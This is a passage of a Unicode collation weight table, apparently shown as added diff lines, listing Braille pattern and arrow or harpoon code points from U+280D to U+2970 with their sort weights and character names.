+280D  ; [*0DA9.0020.0002] # BRAILLE PATTERN DOTS-134
+280E  ; [*0DAA.0020.0002] # BRAILLE PATTERN DOTS-234
+280F  ; [*0DAB.0020.0002] # BRAILLE PATTERN DOTS-1234
+2810  ; [*0DAC.0020.0002] # BRAILLE PATTERN DOTS-5
+2811  ; [*0DAD.0020.0002] # BRAILLE PATTERN DOTS-15
+2812  ; [*0DAE.0020.0002] # BRAILLE PATTERN DOTS-25
+2813  ; [*0DAF.0020.0002] # BRAILLE PATTERN DOTS-125
+2814  ; [*0DB0.0020.0002] # BRAILLE PATTERN DOTS-35
+2815  ; [*0DB1.0020.0002] # BRAILLE PATTERN DOTS-135
+2816  ; [*0DB2.0020.0002] # BRAILLE PATTERN DOTS-235
+2817  ; [*0DB3.0020.0002] # BRAILLE PATTERN DOTS-1235
+2818  ; [*0DB4.0020.0002] # BRAILLE PATTERN DOTS-45
+2819  ; [*0DB5.0020.0002] # BRAILLE PATTERN DOTS-145
+281A  ; [*0DB6.0020.0002] # BRAILLE PATTERN DOTS-245
+281B  ; [*0DB7.0020.0002] # BRAILLE PATTERN DOTS-1245
+281C  ; [*0DB8.0020.0002] # BRAILLE PATTERN DOTS-345
+281D  ; [*0DB9.0020.0002] # BRAILLE PATTERN DOTS-1345
+281E  ; [*0DBA.0020.0002] # BRAILLE PATTERN DOTS-2345
+281F  ; [*0DBB.0020.0002] # BRAILLE PATTERN DOTS-12345
+2820  ; [*0DBC.0020.0002] # BRAILLE PATTERN DOTS-6
+2821  ; [*0DBD.0020.0002] # BRAILLE PATTERN DOTS-16
+2822  ; [*0DBE.0020.0002] # BRAILLE PATTERN DOTS-26
+2823  ; [*0DBF.0020.0002] # BRAILLE PATTERN DOTS-126
+2824  ; [*0DC0.0020.0002] # BRAILLE PATTERN DOTS-36
+2825  ; [*0DC1.0020.0002] # BRAILLE PATTERN DOTS-136
+2826  ; [*0DC2.0020.0002] # BRAILLE PATTERN DOTS-236
+2827  ; [*0DC3.0020.0002] # BRAILLE PATTERN DOTS-1236
+2828  ; [*0DC4.0020.0002] # BRAILLE PATTERN DOTS-46
+2829  ; [*0DC5.0020.0002] # BRAILLE PATTERN DOTS-146
+282A  ; [*0DC6.0020.0002] # BRAILLE PATTERN DOTS-246
+282B  ; [*0DC7.0020.0002] # BRAILLE PATTERN DOTS-1246
+282C  ; [*0DC8.0020.0002] # BRAILLE PATTERN DOTS-346
+282D  ; [*0DC9.0020.0002] # BRAILLE PATTERN DOTS-1346
+282E  ; [*0DCA.0020.0002] # BRAILLE PATTERN DOTS-2346
+282F  ; [*0DCB.0020.0002] # BRAILLE PATTERN DOTS-12346
+2830  ; [*0DCC.0020.0002] # BRAILLE PATTERN DOTS-56
+2831  ; [*0DCD.0020.0002] # BRAILLE PATTERN DOTS-156
+2832  ; [*0DCE.0020.0002] # BRAILLE PATTERN DOTS-256
+2833  ; [*0DCF.0020.0002] # BRAILLE PATTERN DOTS-1256
+2834  ; [*0DD0.0020.0002] # BRAILLE PATTERN DOTS-356
+2835  ; [*0DD1.0020.0002] # BRAILLE PATTERN DOTS-1356
+2836  ; [*0DD2.0020.0002] # BRAILLE PATTERN DOTS-2356
+2837  ; [*0DD3.0020.0002] # BRAILLE PATTERN DOTS-12356
+2838  ; [*0DD4.0020.0002] # BRAILLE PATTERN DOTS-456
+2839  ; [*0DD5.0020.0002] # BRAILLE PATTERN DOTS-1456
+283A  ; [*0DD6.0020.0002] # BRAILLE PATTERN DOTS-2456
+283B  ; [*0DD7.0020.0002] # BRAILLE PATTERN DOTS-12456
+283C  ; [*0DD8.0020.0002] # BRAILLE PATTERN DOTS-3456
+283D  ; [*0DD9.0020.0002] # BRAILLE PATTERN DOTS-13456
+283E  ; [*0DDA.0020.0002] # BRAILLE PATTERN DOTS-23456
+283F  ; [*0DDB.0020.0002] # BRAILLE PATTERN DOTS-123456
+2840  ; [*0DDC.0020.0002] # BRAILLE PATTERN DOTS-7
+2841  ; [*0DDD.0020.0002] # BRAILLE PATTERN DOTS-17
+2842  ; [*0DDE.0020.0002] # BRAILLE PATTERN DOTS-27
+2843  ; [*0DDF.0020.0002] # BRAILLE PATTERN DOTS-127
+2844  ; [*0DE0.0020.0002] # BRAILLE PATTERN DOTS-37
+2845  ; [*0DE1.0020.0002] # BRAILLE PATTERN DOTS-137
+2846  ; [*0DE2.0020.0002] # BRAILLE PATTERN DOTS-237
+2847  ; [*0DE3.0020.0002] # BRAILLE PATTERN DOTS-1237
+2848  ; [*0DE4.0020.0002] # BRAILLE PATTERN DOTS-47
+2849  ; [*0DE5.0020.0002] # BRAILLE PATTERN DOTS-147
+284A  ; [*0DE6.0020.0002] # BRAILLE PATTERN DOTS-247
+284B  ; [*0DE7.0020.0002] # BRAILLE PATTERN DOTS-1247
+284C  ; [*0DE8.0020.0002] # BRAILLE PATTERN DOTS-347
+284D  ; [*0DE9.0020.0002] # BRAILLE PATTERN DOTS-1347
+284E  ; [*0DEA.0020.0002] # BRAILLE PATTERN DOTS-2347
+284F  ; [*0DEB.0020.0002] # BRAILLE PATTERN DOTS-12347
+2850  ; [*0DEC.0020.0002] # BRAILLE PATTERN DOTS-57
+2851  ; [*0DED.0020.0002] # BRAILLE PATTERN DOTS-157
+2852  ; [*0DEE.0020.0002] # BRAILLE PATTERN DOTS-257
+2853  ; [*0DEF.0020.0002] # BRAILLE PATTERN DOTS-1257
+2854  ; [*0DF0.0020.0002] # BRAILLE PATTERN DOTS-357
+2855  ; [*0DF1.0020.0002] # BRAILLE PATTERN DOTS-1357
+2856  ; [*0DF2.0020.0002] # BRAILLE PATTERN DOTS-2357
+2857  ; [*0DF3.0020.0002] # BRAILLE PATTERN DOTS-12357
+2858  ; [*0DF4.0020.0002] # BRAILLE PATTERN DOTS-457
+2859  ; [*0DF5.0020.0002] # BRAILLE PATTERN DOTS-1457
+285A  ; [*0DF6.0020.0002] # BRAILLE PATTERN DOTS-2457
+285B  ; [*0DF7.0020.0002] # BRAILLE PATTERN DOTS-12457
+285C  ; [*0DF8.0020.0002] # BRAILLE PATTERN DOTS-3457
+285D  ; [*0DF9.0020.0002] # BRAILLE PATTERN DOTS-13457
+285E  ; [*0DFA.0020.0002] # BRAILLE PATTERN DOTS-23457
+285F  ; [*0DFB.0020.0002] # BRAILLE PATTERN DOTS-123457
+2860  ; [*0DFC.0020.0002] # BRAILLE PATTERN DOTS-67
+2861  ; [*0DFD.0020.0002] # BRAILLE PATTERN DOTS-167
+2862  ; [*0DFE.0020.0002] # BRAILLE PATTERN DOTS-267
+2863  ; [*0DFF.0020.0002] # BRAILLE PATTERN DOTS-1267
+2864  ; [*0E00.0020.0002] # BRAILLE PATTERN DOTS-367
+2865  ; [*0E01.0020.0002] # BRAILLE PATTERN DOTS-1367
+2866  ; [*0E02.0020.0002] # BRAILLE PATTERN DOTS-2367
+2867  ; [*0E03.0020.0002] # BRAILLE PATTERN DOTS-12367
+2868  ; [*0E04.0020.0002] # BRAILLE PATTERN DOTS-467
+2869  ; [*0E05.0020.0002] # BRAILLE PATTERN DOTS-1467
+286A  ; [*0E06.0020.0002] # BRAILLE PATTERN DOTS-2467
+286B  ; [*0E07.0020.0002] # BRAILLE PATTERN DOTS-12467
+286C  ; [*0E08.0020.0002] # BRAILLE PATTERN DOTS-3467
+286D  ; [*0E09.0020.0002] # BRAILLE PATTERN DOTS-13467
+286E  ; [*0E0A.0020.0002] # BRAILLE PATTERN DOTS-23467
+286F  ; [*0E0B.0020.0002] # BRAILLE PATTERN DOTS-123467
+2870  ; [*0E0C.0020.0002] # BRAILLE PATTERN DOTS-567
+2871  ; [*0E0D.0020.0002] # BRAILLE PATTERN DOTS-1567
+2872  ; [*0E0E.0020.0002] # BRAILLE PATTERN DOTS-2567
+2873  ; [*0E0F.0020.0002] # BRAILLE PATTERN DOTS-12567
+2874  ; [*0E10.0020.0002] # BRAILLE PATTERN DOTS-3567
+2875  ; [*0E11.0020.0002] # BRAILLE PATTERN DOTS-13567
+2876  ; [*0E12.0020.0002] # BRAILLE PATTERN DOTS-23567
+2877  ; [*0E13.0020.0002] # BRAILLE PATTERN DOTS-123567
+2878  ; [*0E14.0020.0002] # BRAILLE PATTERN DOTS-4567
+2879  ; [*0E15.0020.0002] # BRAILLE PATTERN DOTS-14567
+287A  ; [*0E16.0020.0002] # BRAILLE PATTERN DOTS-24567
+287B  ; [*0E17.0020.0002] # BRAILLE PATTERN DOTS-124567
+287C  ; [*0E18.0020.0002] # BRAILLE PATTERN DOTS-34567
+287D  ; [*0E19.0020.0002] # BRAILLE PATTERN DOTS-134567
+287E  ; [*0E1A.0020.0002] # BRAILLE PATTERN DOTS-234567
+287F  ; [*0E1B.0020.0002] # BRAILLE PATTERN DOTS-1234567
+2880  ; [*0E1C.0020.0002] # BRAILLE PATTERN DOTS-8
+2881  ; [*0E1D.0020.0002] # BRAILLE PATTERN DOTS-18
+2882  ; [*0E1E.0020.0002] # BRAILLE PATTERN DOTS-28
+2883  ; [*0E1F.0020.0002] # BRAILLE PATTERN DOTS-128
+2884  ; [*0E20.0020.0002] # BRAILLE PATTERN DOTS-38
+2885  ; [*0E21.0020.0002] # BRAILLE PATTERN DOTS-138
+2886  ; [*0E22.0020.0002] # BRAILLE PATTERN DOTS-238
+2887  ; [*0E23.0020.0002] # BRAILLE PATTERN DOTS-1238
+2888  ; [*0E24.0020.0002] # BRAILLE PATTERN DOTS-48
+2889  ; [*0E25.0020.0002] # BRAILLE PATTERN DOTS-148
+288A  ; [*0E26.0020.0002] # BRAILLE PATTERN DOTS-248
+288B  ; [*0E27.0020.0002] # BRAILLE PATTERN DOTS-1248
+288C  ; [*0E28.0020.0002] # BRAILLE PATTERN DOTS-348
+288D  ; [*0E29.0020.0002] # BRAILLE PATTERN DOTS-1348
+288E  ; [*0E2A.0020.0002] # BRAILLE PATTERN DOTS-2348
+288F  ; [*0E2B.0020.0002] # BRAILLE PATTERN DOTS-12348
+2890  ; [*0E2C.0020.0002] # BRAILLE PATTERN DOTS-58
+2891  ; [*0E2D.0020.0002] # BRAILLE PATTERN DOTS-158
+2892  ; [*0E2E.0020.0002] # BRAILLE PATTERN DOTS-258
+2893  ; [*0E2F.0020.0002] # BRAILLE PATTERN DOTS-1258
+2894  ; [*0E30.0020.0002] # BRAILLE PATTERN DOTS-358
+2895  ; [*0E31.0020.0002] # BRAILLE PATTERN DOTS-1358
+2896  ; [*0E32.0020.0002] # BRAILLE PATTERN DOTS-2358
+2897  ; [*0E33.0020.0002] # BRAILLE PATTERN DOTS-12358
+2898  ; [*0E34.0020.0002] # BRAILLE PATTERN DOTS-458
+2899  ; [*0E35.0020.0002] # BRAILLE PATTERN DOTS-1458
+289A  ; [*0E36.0020.0002] # BRAILLE PATTERN DOTS-2458
+289B  ; [*0E37.0020.0002] # BRAILLE PATTERN DOTS-12458
+289C  ; [*0E38.0020.0002] # BRAILLE PATTERN DOTS-3458
+289D  ; [*0E39.0020.0002] # BRAILLE PATTERN DOTS-13458
+289E  ; [*0E3A.0020.0002] # BRAILLE PATTERN DOTS-23458
+289F  ; [*0E3B.0020.0002] # BRAILLE PATTERN DOTS-123458
+28A0  ; [*0E3C.0020.0002] # BRAILLE PATTERN DOTS-68
+28A1  ; [*0E3D.0020.0002] # BRAILLE PATTERN DOTS-168
+28A2  ; [*0E3E.0020.0002] # BRAILLE PATTERN DOTS-268
+28A3  ; [*0E3F.0020.0002] # BRAILLE PATTERN DOTS-1268
+28A4  ; [*0E40.0020.0002] # BRAILLE PATTERN DOTS-368
+28A5  ; [*0E41.0020.0002] # BRAILLE PATTERN DOTS-1368
+28A6  ; [*0E42.0020.0002] # BRAILLE PATTERN DOTS-2368
+28A7  ; [*0E43.0020.0002] # BRAILLE PATTERN DOTS-12368
+28A8  ; [*0E44.0020.0002] # BRAILLE PATTERN DOTS-468
+28A9  ; [*0E45.0020.0002] # BRAILLE PATTERN DOTS-1468
+28AA  ; [*0E46.0020.0002] # BRAILLE PATTERN DOTS-2468
+28AB  ; [*0E47.0020.0002] # BRAILLE PATTERN DOTS-12468
+28AC  ; [*0E48.0020.0002] # BRAILLE PATTERN DOTS-3468
+28AD  ; [*0E49.0020.0002] # BRAILLE PATTERN DOTS-13468
+28AE  ; [*0E4A.0020.0002] # BRAILLE PATTERN DOTS-23468
+28AF  ; [*0E4B.0020.0002] # BRAILLE PATTERN DOTS-123468
+28B0  ; [*0E4C.0020.0002] # BRAILLE PATTERN DOTS-568
+28B1  ; [*0E4D.0020.0002] # BRAILLE PATTERN DOTS-1568
+28B2  ; [*0E4E.0020.0002] # BRAILLE PATTERN DOTS-2568
+28B3  ; [*0E4F.0020.0002] # BRAILLE PATTERN DOTS-12568
+28B4  ; [*0E50.0020.0002] # BRAILLE PATTERN DOTS-3568
+28B5  ; [*0E51.0020.0002] # BRAILLE PATTERN DOTS-13568
+28B6  ; [*0E52.0020.0002] # BRAILLE PATTERN DOTS-23568
+28B7  ; [*0E53.0020.0002] # BRAILLE PATTERN DOTS-123568
+28B8  ; [*0E54.0020.0002] # BRAILLE PATTERN DOTS-4568
+28B9  ; [*0E55.0020.0002] # BRAILLE PATTERN DOTS-14568
+28BA  ; [*0E56.0020.0002] # BRAILLE PATTERN DOTS-24568
+28BB  ; [*0E57.0020.0002] # BRAILLE PATTERN DOTS-124568
+28BC  ; [*0E58.0020.0002] # BRAILLE PATTERN DOTS-34568
+28BD  ; [*0E59.0020.0002] # BRAILLE PATTERN DOTS-134568
+28BE  ; [*0E5A.0020.0002] # BRAILLE PATTERN DOTS-234568
+28BF  ; [*0E5B.0020.0002] # BRAILLE PATTERN DOTS-1234568
+28C0  ; [*0E5C.0020.0002] # BRAILLE PATTERN DOTS-78
+28C1  ; [*0E5D.0020.0002] # BRAILLE PATTERN DOTS-178
+28C2  ; [*0E5E.0020.0002] # BRAILLE PATTERN DOTS-278
+28C3  ; [*0E5F.0020.0002] # BRAILLE PATTERN DOTS-1278
+28C4  ; [*0E60.0020.0002] # BRAILLE PATTERN DOTS-378
+28C5  ; [*0E61.0020.0002] # BRAILLE PATTERN DOTS-1378
+28C6  ; [*0E62.0020.0002] # BRAILLE PATTERN DOTS-2378
+28C7  ; [*0E63.0020.0002] # BRAILLE PATTERN DOTS-12378
+28C8  ; [*0E64.0020.0002] # BRAILLE PATTERN DOTS-478
+28C9  ; [*0E65.0020.0002] # BRAILLE PATTERN DOTS-1478
+28CA  ; [*0E66.0020.0002] # BRAILLE PATTERN DOTS-2478
+28CB  ; [*0E67.0020.0002] # BRAILLE PATTERN DOTS-12478
+28CC  ; [*0E68.0020.0002] # BRAILLE PATTERN DOTS-3478
+28CD  ; [*0E69.0020.0002] # BRAILLE PATTERN DOTS-13478
+28CE  ; [*0E6A.0020.0002] # BRAILLE PATTERN DOTS-23478
+28CF  ; [*0E6B.0020.0002] # BRAILLE PATTERN DOTS-123478
+28D0  ; [*0E6C.0020.0002] # BRAILLE PATTERN DOTS-578
+28D1  ; [*0E6D.0020.0002] # BRAILLE PATTERN DOTS-1578
+28D2  ; [*0E6E.0020.0002] # BRAILLE PATTERN DOTS-2578
+28D3  ; [*0E6F.0020.0002] # BRAILLE PATTERN DOTS-12578
+28D4  ; [*0E70.0020.0002] # BRAILLE PATTERN DOTS-3578
+28D5  ; [*0E71.0020.0002] # BRAILLE PATTERN DOTS-13578
+28D6  ; [*0E72.0020.0002] # BRAILLE PATTERN DOTS-23578
+28D7  ; [*0E73.0020.0002] # BRAILLE PATTERN DOTS-123578
+28D8  ; [*0E74.0020.0002] # BRAILLE PATTERN DOTS-4578
+28D9  ; [*0E75.0020.0002] # BRAILLE PATTERN DOTS-14578
+28DA  ; [*0E76.0020.0002] # BRAILLE PATTERN DOTS-24578
+28DB  ; [*0E77.0020.0002] # BRAILLE PATTERN DOTS-124578
+28DC  ; [*0E78.0020.0002] # BRAILLE PATTERN DOTS-34578
+28DD  ; [*0E79.0020.0002] # BRAILLE PATTERN DOTS-134578
+28DE  ; [*0E7A.0020.0002] # BRAILLE PATTERN DOTS-234578
+28DF  ; [*0E7B.0020.0002] # BRAILLE PATTERN DOTS-1234578
+28E0  ; [*0E7C.0020.0002] # BRAILLE PATTERN DOTS-678
+28E1  ; [*0E7D.0020.0002] # BRAILLE PATTERN DOTS-1678
+28E2  ; [*0E7E.0020.0002] # BRAILLE PATTERN DOTS-2678
+28E3  ; [*0E7F.0020.0002] # BRAILLE PATTERN DOTS-12678
+28E4  ; [*0E80.0020.0002] # BRAILLE PATTERN DOTS-3678
+28E5  ; [*0E81.0020.0002] # BRAILLE PATTERN DOTS-13678
+28E6  ; [*0E82.0020.0002] # BRAILLE PATTERN DOTS-23678
+28E7  ; [*0E83.0020.0002] # BRAILLE PATTERN DOTS-123678
+28E8  ; [*0E84.0020.0002] # BRAILLE PATTERN DOTS-4678
+28E9  ; [*0E85.0020.0002] # BRAILLE PATTERN DOTS-14678
+28EA  ; [*0E86.0020.0002] # BRAILLE PATTERN DOTS-24678
+28EB  ; [*0E87.0020.0002] # BRAILLE PATTERN DOTS-124678
+28EC  ; [*0E88.0020.0002] # BRAILLE PATTERN DOTS-34678
+28ED  ; [*0E89.0020.0002] # BRAILLE PATTERN DOTS-134678
+28EE  ; [*0E8A.0020.0002] # BRAILLE PATTERN DOTS-234678
+28EF  ; [*0E8B.0020.0002] # BRAILLE PATTERN DOTS-1234678
+28F0  ; [*0E8C.0020.0002] # BRAILLE PATTERN DOTS-5678
+28F1  ; [*0E8D.0020.0002] # BRAILLE PATTERN DOTS-15678
+28F2  ; [*0E8E.0020.0002] # BRAILLE PATTERN DOTS-25678
+28F3  ; [*0E8F.0020.0002] # BRAILLE PATTERN DOTS-125678
+28F4  ; [*0E90.0020.0002] # BRAILLE PATTERN DOTS-35678
+28F5  ; [*0E91.0020.0002] # BRAILLE PATTERN DOTS-135678
+28F6  ; [*0E92.0020.0002] # BRAILLE PATTERN DOTS-235678
+28F7  ; [*0E93.0020.0002] # BRAILLE PATTERN DOTS-1235678
+28F8  ; [*0E94.0020.0002] # BRAILLE PATTERN DOTS-45678
+28F9  ; [*0E95.0020.0002] # BRAILLE PATTERN DOTS-145678
+28FA  ; [*0E96.0020.0002] # BRAILLE PATTERN DOTS-245678
+28FB  ; [*0E97.0020.0002] # BRAILLE PATTERN DOTS-1245678
+28FC  ; [*0E98.0020.0002] # BRAILLE PATTERN DOTS-345678
+28FD  ; [*0E99.0020.0002] # BRAILLE PATTERN DOTS-1345678
+28FE  ; [*0E9A.0020.0002] # BRAILLE PATTERN DOTS-2345678
+28FF  ; [*0E9B.0020.0002] # BRAILLE PATTERN DOTS-12345678
+2900  ; [*0AE9.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE
+2901  ; [*0AEA.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE
+2902  ; [*0AEB.0020.0002] # LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE
+2903  ; [*0AEC.0020.0002] # RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE
+2904  ; [*0AED.0020.0002] # LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE
+2905  ; [*0AEE.0020.0002] # RIGHTWARDS TWO-HEADED ARROW FROM BAR
+2906  ; [*0AEF.0020.0002] # LEFTWARDS DOUBLE ARROW FROM BAR
+2907  ; [*0AF0.0020.0002] # RIGHTWARDS DOUBLE ARROW FROM BAR
+2908  ; [*0AF1.0020.0002] # DOWNWARDS ARROW WITH HORIZONTAL STROKE
+2909  ; [*0AF2.0020.0002] # UPWARDS ARROW WITH HORIZONTAL STROKE
+290A  ; [*0AF3.0020.0002] # UPWARDS TRIPLE ARROW
+290B  ; [*0AF4.0020.0002] # DOWNWARDS TRIPLE ARROW
+290C  ; [*0AF5.0020.0002] # LEFTWARDS DOUBLE DASH ARROW
+290D  ; [*0AF6.0020.0002] # RIGHTWARDS DOUBLE DASH ARROW
+290E  ; [*0AF7.0020.0002] # LEFTWARDS TRIPLE DASH ARROW
+290F  ; [*0AF8.0020.0002] # RIGHTWARDS TRIPLE DASH ARROW
+2910  ; [*0AF9.0020.0002] # RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW
+2911  ; [*0AFA.0020.0002] # RIGHTWARDS ARROW WITH DOTTED STEM
+2912  ; [*0AFB.0020.0002] # UPWARDS ARROW TO BAR
+2913  ; [*0AFC.0020.0002] # DOWNWARDS ARROW TO BAR
+2914  ; [*0AFD.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE
+2915  ; [*0AFE.0020.0002] # RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
+2916  ; [*0AFF.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL
+2917  ; [*0B00.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE
+2918  ; [*0B01.0020.0002] # RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE
+2919  ; [*0B02.0020.0002] # LEFTWARDS ARROW-TAIL
+291A  ; [*0B03.0020.0002] # RIGHTWARDS ARROW-TAIL
+291B  ; [*0B04.0020.0002] # LEFTWARDS DOUBLE ARROW-TAIL
+291C  ; [*0B05.0020.0002] # RIGHTWARDS DOUBLE ARROW-TAIL
+291D  ; [*0B06.0020.0002] # LEFTWARDS ARROW TO BLACK DIAMOND
+291E  ; [*0B07.0020.0002] # RIGHTWARDS ARROW TO BLACK DIAMOND
+291F  ; [*0B08.0020.0002] # LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND
+2920  ; [*0B09.0020.0002] # RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND
+2921  ; [*0B0A.0020.0002] # NORTH WEST AND SOUTH EAST ARROW
+2922  ; [*0B0B.0020.0002] # NORTH EAST AND SOUTH WEST ARROW
+2923  ; [*0B0C.0020.0002] # NORTH WEST ARROW WITH HOOK
+2924  ; [*0B0D.0020.0002] # NORTH EAST ARROW WITH HOOK
+2925  ; [*0B0E.0020.0002] # SOUTH EAST ARROW WITH HOOK
+2926  ; [*0B0F.0020.0002] # SOUTH WEST ARROW WITH HOOK
+2927  ; [*0B10.0020.0002] # NORTH WEST ARROW AND NORTH EAST ARROW
+2928  ; [*0B11.0020.0002] # NORTH EAST ARROW AND SOUTH EAST ARROW
+2929  ; [*0B12.0020.0002] # SOUTH EAST ARROW AND SOUTH WEST ARROW
+292A  ; [*0B13.0020.0002] # SOUTH WEST ARROW AND NORTH WEST ARROW
+292B  ; [*0B14.0020.0002] # RISING DIAGONAL CROSSING FALLING DIAGONAL
+292C  ; [*0B15.0020.0002] # FALLING DIAGONAL CROSSING RISING DIAGONAL
+292D  ; [*0B16.0020.0002] # SOUTH EAST ARROW CROSSING NORTH EAST ARROW
+292E  ; [*0B17.0020.0002] # NORTH EAST ARROW CROSSING SOUTH EAST ARROW
+292F  ; [*0B18.0020.0002] # FALLING DIAGONAL CROSSING NORTH EAST ARROW
+2930  ; [*0B19.0020.0002] # RISING DIAGONAL CROSSING SOUTH EAST ARROW
+2931  ; [*0B1A.0020.0002] # NORTH EAST ARROW CROSSING NORTH WEST ARROW
+2932  ; [*0B1B.0020.0002] # NORTH WEST ARROW CROSSING NORTH EAST ARROW
+2933  ; [*0B1C.0020.0002] # WAVE ARROW POINTING DIRECTLY RIGHT
+2934  ; [*0B1D.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
+2935  ; [*0B1E.0020.0002] # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
+2936  ; [*0B1F.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS
+2937  ; [*0B20.0020.0002] # ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS
+2938  ; [*0B21.0020.0002] # RIGHT-SIDE ARC CLOCKWISE ARROW
+2939  ; [*0B22.0020.0002] # LEFT-SIDE ARC ANTICLOCKWISE ARROW
+293A  ; [*0B23.0020.0002] # TOP ARC ANTICLOCKWISE ARROW
+293B  ; [*0B24.0020.0002] # BOTTOM ARC ANTICLOCKWISE ARROW
+293C  ; [*0B25.0020.0002] # TOP ARC CLOCKWISE ARROW WITH MINUS
+293D  ; [*0B26.0020.0002] # TOP ARC ANTICLOCKWISE ARROW WITH PLUS
+293E  ; [*0B27.0020.0002] # LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW
+293F  ; [*0B28.0020.0002] # LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW
+2940  ; [*0B29.0020.0002] # ANTICLOCKWISE CLOSED CIRCLE ARROW
+2941  ; [*0B2A.0020.0002] # CLOCKWISE CLOSED CIRCLE ARROW
+2942  ; [*0B2B.0020.0002] # RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW
+2943  ; [*0B2C.0020.0002] # LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW
+2944  ; [*0B2D.0020.0002] # SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW
+2945  ; [*0B2E.0020.0002] # RIGHTWARDS ARROW WITH PLUS BELOW
+2946  ; [*0B2F.0020.0002] # LEFTWARDS ARROW WITH PLUS BELOW
+2947  ; [*0B30.0020.0002] # RIGHTWARDS ARROW THROUGH X
+2948  ; [*0B31.0020.0002] # LEFT RIGHT ARROW THROUGH SMALL CIRCLE
+2949  ; [*0B32.0020.0002] # UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE
+294A  ; [*0B33.0020.0002] # LEFT BARB UP RIGHT BARB DOWN HARPOON
+294B  ; [*0B34.0020.0002] # LEFT BARB DOWN RIGHT BARB UP HARPOON
+294C  ; [*0B35.0020.0002] # UP BARB RIGHT DOWN BARB LEFT HARPOON
+294D  ; [*0B36.0020.0002] # UP BARB LEFT DOWN BARB RIGHT HARPOON
+294E  ; [*0B37.0020.0002] # LEFT BARB UP RIGHT BARB UP HARPOON
+294F  ; [*0B38.0020.0002] # UP BARB RIGHT DOWN BARB RIGHT HARPOON
+2950  ; [*0B39.0020.0002] # LEFT BARB DOWN RIGHT BARB DOWN HARPOON
+2951  ; [*0B3A.0020.0002] # UP BARB LEFT DOWN BARB LEFT HARPOON
+2952  ; [*0B3B.0020.0002] # LEFTWARDS HARPOON WITH BARB UP TO BAR
+2953  ; [*0B3C.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP TO BAR
+2954  ; [*0B3D.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT TO BAR
+2955  ; [*0B3E.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT TO BAR
+2956  ; [*0B3F.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN TO BAR
+2957  ; [*0B40.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN TO BAR
+2958  ; [*0B41.0020.0002] # UPWARDS HARPOON WITH BARB LEFT TO BAR
+2959  ; [*0B42.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT TO BAR
+295A  ; [*0B43.0020.0002] # LEFTWARDS HARPOON WITH BARB UP FROM BAR
+295B  ; [*0B44.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP FROM BAR
+295C  ; [*0B45.0020.0002] # UPWARDS HARPOON WITH BARB RIGHT FROM BAR
+295D  ; [*0B46.0020.0002] # DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR
+295E  ; [*0B47.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN FROM BAR
+295F  ; [*0B48.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR
+2960  ; [*0B49.0020.0002] # UPWARDS HARPOON WITH BARB LEFT FROM BAR
+2961  ; [*0B4A.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT FROM BAR
+2962  ; [*0B4B.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN
+2963  ; [*0B4C.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT
+2964  ; [*0B4D.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN
+2965  ; [*0B4E.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT
+2966  ; [*0B4F.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP
+2967  ; [*0B50.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN
+2968  ; [*0B51.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP
+2969  ; [*0B52.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN
+296A  ; [*0B53.0020.0002] # LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH
+296B  ; [*0B54.0020.0002] # LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH
+296C  ; [*0B55.0020.0002] # RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH
+296D  ; [*0B56.0020.0002] # RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH
+296E  ; [*0B57.0020.0002] # UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT
+296F  ; [*0B58.0020.0002] # DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT
+2970  ; [*0B59.0020.0002] # RIGHT DOUBLE ARROW WITH ROUNDED HEAD
